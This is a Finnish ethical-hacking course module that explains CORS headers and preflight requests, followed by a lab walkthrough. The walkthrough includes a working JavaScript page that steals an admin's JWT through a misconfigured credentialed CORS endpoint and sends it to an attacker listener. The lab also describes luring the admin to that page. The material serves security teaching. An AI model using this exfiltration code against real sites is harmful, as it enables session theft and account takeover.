CORS (Cross-Origin Resource Sharing) - Selaimen Epäturvallisuustoiminto
Mikä on CORS?
Viime moduulissa kävimme läpi saman alkuperän politiikan (Same Origin Policy / SOP), jonka tarkoitus on eristää saman selaimen eri ikkunoissa tai välilehdissä olevat verkkosivut toisistaan, kuitenkin mahdollistaen vuorovaikutus eri sivustojen välillä.
Siinä missä SOP on turvallisuusominaisuus, CORS (Cross-Origin Resource Sharing) on turvattomuusominaisuus. Sen ainoa tarkoitus on vapaaehtoisesti luopua joistakin niistä suojista joita SOP antaa, ja väärinymmärrettynä sillä saa nopeasti vakavia tietoturva-aukkoja tehtyä web-sovellukseen.
CORS:illa voi:
- Antaa vieraan web-sovelluksen lukea vastaukset HTTP-pyyntöihin joita sovellus lähettää sinun sovellukseesi.
- Antaa vieraan web-sovelluksen lähettää sellaisia evästeillä varustettuja HTTP-pyyntöjä sovellukseesi, joita ei normaalisti saisi lähettää.
- Antaa vieraan web-sovelluksen lähettää evästeillä varustettuja HTTP-pyyntöjä sovellukseesi, joissa on sellainen HTTP-verbi (kuten vaikkapa PUT) joka ei ole normaalisti sallittuna.
- Antaa vieraan web-sovelluksen lähettää evästeillä varustettuja HTTP-pyyntöjä sovellukseesi, joissa on sellainen HTTP-otsakkeita tai sellainen sisältötyyppi (Content-Type) joka ei ole normaalisti sallittuna.
- Antaa vieraan web-sovelluksen lukea mitä tahansa otsakkeita sinun sovelluksesi palauttamista HTTP-vastauksista.
CORS otetaan käyttöön palauttamalla Access-Control- alkuisia HTTP-otsakkeita sovelluksesi HTTP-vastauksissa, katsotaan ne läpi seuraavaksi.
Access-Control-Allow-Origin
Ensimmäinen otsikko on Access-Control-Allow-Origin. Kehittäjät voivat käyttää sitä myöntäessään vieraille sivustoille lukuluvan verkkosivuston resursseille (joka on oletuksena kielletty SOP toimesta).
Mahdolliset arvot ovat tietty alkuperä (kuten https://www.hakatemia.fi) tai mikä tahansa alkuperä (*).
Esimerkki tietystä alkuperästä: Access-Control-Allow-Origin: https://www.hakatemia.fi
Esimerkki wildcard (tähti) alkuperästä:
Access-Control-Allow-Origin: *
Useampi alkuperä ei ole tuettu
Access-Control-Allow-Origin tosiaan tukee vain kahta vaihtoehtoa, yksi tietty alkuperä tai sitten kaikki. Ei ole (valitettavasti) mahdollista tehdä jotain tämän kaltaista:
Access-Control-Allow-Origin: https://www.hakatemia.fi, https://www.example.com
Rajoitus wildcardin (tähti) käytössä
Et voi käyttää tähteä (mitä tahansa alkuperää) Access-Control-Allow-Origin arvona, jos olet myös sallinut CORS evästeet Access-Control-Allow-Credentials otsakkeella. Tulemme kohta siihen.
Miten voin tukea useampaa CORS -alkuperää?
Käytännössä tämä rajoitus on ratkaistu generoimalla Access-Control-Allow-Origin otsake dynaamisesti koodissa joka HTTP-vastaukseen. Selaimet lähettävät alkuperän (origin) Origin -nimisessä otsakkeessa, jonka arvon voi koodissa lukea ja katsoa sitten, onko se listassa sallittuja origin -arvoja. Jos on, niin voidaan lisätä ko. sallittu origin kyseisen pyynnön HTTP-vastaukseen.
Tässä pitää vain olla tarkkana, ettei tule sallineeksi jotain alkuperää jota ei ollut tarkoitus. Kannattaa käyttää hyvämaineisia, vaikiintuneita CORS-sovelluskirjastoja tai web/sovellusalustan asetuksia tähän.
Access-Control-Allow-Credentials
Oletusarvoisesti CORS ei salli autentikoituja (authenticated) HTTP-pyyntöjä (jotka sisältävät esimerkiksi selaimen käyttäjän evästeet tai varmenteen). Autentikoidut CORS-pyynnöt antavat sivustoille, joille oikeus on myönnetty, täyden luku- ja kirjoitusoikeuden selaimen käyttäjän tietoihin sovelluksessa.
Jos haluat silti ottaa sen käyttöön, voit käyttää Access-Control-Allow-Credentials otsikkoa näin:
Access-Control-Allow-Credentials: true
Huomaa vain edellä mainittu rajoitus: tämä ei toimi jos Access-Control-Allow-Origin arvo on tähti (mikä tahansa alkuperä).
Huomaa myös, että jos eväste on suojattu SameSite attribuutilla (Lax tai Strict, kumpi tahansa), niin selain ei suostu lähettämään sitä vieraalle sivustolle CORS-määrityksestä huolimatta. SameSite Lax on päällä oletusarvoisesti monissa uusissa selaimissa. Opit SameSite-attribuutista ja evästeiden turvallisuudesta toisessa moduulissa.
Access-Control-Allow-Headers
Jos haluat lähettää mukautettuja otsikoita tai poistaa rajoituksen sisältötyyppi (Content-Type) otsakkeesta esimerkiksi JSON-pyyntöjen lähettämiseen, voit käyttää Access-Control-Allow-Headers otsikkoa esimerkiksi näin: .
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Methods
Jos haluat että vieras sivusto voi lähettää web-sovellukseesi muutakin kuin GET, POST, HEAD ja OPTIONS -pyyntöjä, tai jos haluat rajata sallitut metodit pienemmäksi kun oletuksena sallittuna oleva valikoima, voit listata haluamasi HTTP-metodit Access-Control-Allow-Methods otsakkeella:
Access-Control-Allow-Methods: GET, POST, PATCH
Metodit on pakko listata jos sinulla on CORS-käytännössä muita tekijöitä jotka vaativat preflight-requestin. Katsotaan preflight seuraavaksi.
Preflight
Yksinkertaiset pyynnöt sallittujen luetteloon lisätyillä HTTP-verbeillä, otsikoilla ja sisältötyypeillä lähetetään aina, mutta vastauksen lukeminen vaatii että vastauksessa on mukana asianmukaiset CORS-otsakkeet.
Mutta mistä tietää, saako selain vaikkapa lähettää PUT-pyyntöä vai ei? Jos sen tietäisi vasta PUT-pyynnön vastauksesta (onko siinä CORS-headerit jotka sallivat PUT-pyynnöt), olisi jo myöhäistä, koska pyyntö olisi jo lähetetty.
Se on hyvä kysymys, ja vastaus on yksinkertainen: lähetämme kaksi pyyntöä.
Selain lähettää ensin OPTIONS -pyynnön, jonka mukana on Origin request headeri. Tähän OPTIONS pyyntöön web-palvelin voi palauttaa CORS-otsakkeet, joiden perusteella selain tietää, voidaanko jatkaa (tässä tapauksessa lähettää PUT-pyyntö) vai näytetäänkö virhe selaimen konsolissa ja lopetetaan.
Tätä ensimmäistä OPTIONS -pyyntöä kutsutaan preflight, tai suoraan suomennettuna “esilento” pyynnöksi.
Harjoitus
Tehdään hyökkäys hyväksikäyttäen sovelluksen virheellistä CORS-konfiguraatiota jolla otetaan admin-käyttäjän tili haltuun. Käynnistä harjoitus ja lue eteenpäin.
Vaarallinen CORS Konfiguraatio
Tässä labrassa huijaat järjestelmänvalvojan siirtymään haitalliselle verkkosivustolle, joka käyttää virheellisesti määritettyä CORS-päätepistettä varastaakseen järjestelmänvalvojan tunnuksen. Tämän jälkeen käytät admin-käyttäjän istunto-tokenia lipun lukemiseen.
Tavoite
Lue lippu /api/v1/flag endpointista.
Tehtävät
Flag
Löydä lippu (flag) labraympäristöstä ja syötä se alle.
Haavoituvuuden löytäminen
Kirjaudu labrasovellukseen selaimella jossa on BurpSuite välissä, jotta näet HTTP-liikenteen. HTTP-historiasta sinun pitäisi löytää GET /auth/token pyyntö. Lähetä se repeaterille.
GET /auth/token HTTP/1.1
Host: www-7zepddd9r9.ha-target.com
Cookie: SessionId=.eJwljklqA0EMAP_...
HTTP/1.1 201 CREATED
Content-Type: application/json
...
{"token":"eyJ0eXAiOi...""}
Tässä vaiheessa vastauksessa ei näy vielä mitään haavoittuvuuteen viittaavaa. Kyseessä on ihan normaali token-endpoint josta saa haettua evästeen perusteella JWT-tokenin, jolla voi sitten tyypillisesti kutsua jotain rajapintaa.
Sovellukset palauttavat CORS-otsakkeensa yleensä vasta kun on pakko, eli kun selaimelta tulee sellainen pyyntö, jossa on Origin -otsake määritettynä. Lisää siis se HTTP-pyyntöön, voit käyttää vaikka https://www.example.com arvona.
GET /auth/token HTTP/1.1
Host: www-7zepddd9r9.ha-target.com
Origin: https://www.example.com
Cookie: SessionId=.eJwljklqA0EMAP_...
HTTP/1.1 201 CREATED
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
...
{"token":"eyJ0eXAiOi...""}
Ohhoh, sovelluksen CORS-asetukset on tehty äärimmäisen vaarallisesti. Ensinnäkin sovellus hyväksyy minkä tahansa alkuperän, ja toisekseen sovellus palauttaa Access-Control-Allow-Credentials: true joka sallii vielä evästeidenkin lähetyksen CORS-pyynnön mukana.
Hyökkäyksen kulku
Hyökkäys kulkee seuraavasti:
- Luodaan HTML-sivu joka hakee tokenin labrasovelluksen /auth/token endpointista kirjautuneen käyttäjän evästeillä ja lähettää sen hyökkääjän kuuntelijaan.
- Huijataan labrasovelluksen admin-käyttäjä vierailemaan sivustolla (käytetään tässä linkinjakopalvelua hyväksi).
- Odotetaan että saadaan adminin token kuuntelijaan, ja sitten haetaan lippu adminin tokenilla.
Hyökkääjän kuuntelija
Voit seurata hyökkääjän web-palvelun lokeja käynnistämällä terminaali VSCodesta ja ajamalla seuraava komento:
tail -f /var/log/apache2/access.log
Hyökkäyssivu
Avaa root/web/index.html tiedosto ja lisää sinne seuraava HTML:
<script>
const kuuntelijaUrl = "https://web-SINUN_LABRAN_ID.ha-student.com";
const labraUrl = "https://www-SINUN_LABRAN_ID.ha-target.com"
async function attack() {
const res = await fetch(labraUrl + "/auth/token", {mode: 'cors', credentials: "include"})
const resJson = await res.json();
const token = resJson.token;
await fetch(kuuntelijaUrl + "/?token=" + token)
}
attack();
</script>
Kokeile itselläsi
Kirjaudu sovellukseen student-käyttäjänä ja vieraile sen jälkeen samassa selaimessa hyökkäyssivulla. Sinun pitäisi nähdä tyhjä sivu, mutta jos katsot burpista HTTP-historiaa, sinun pitäisi nähdä kuinka token haetaan ja postitetaan sitten hyökkääjän kuuntelijaan.
Tarkista myös kuuntelija, sinne pitäisi olla ilmestynyt oma tokenisi.
Hyökkäys
On aika ottaa admin-käyttäjän tili haltuun. Jaa linkki palveluun ja odota että admin käy klikkaamassa sitä.
Kun kuuntelijaasi ilmestyy admini token, voit käydä hakemassa /api/v1/flag endpointista lipun antamalla tokeni "Authorization" headerina.
Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.
Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.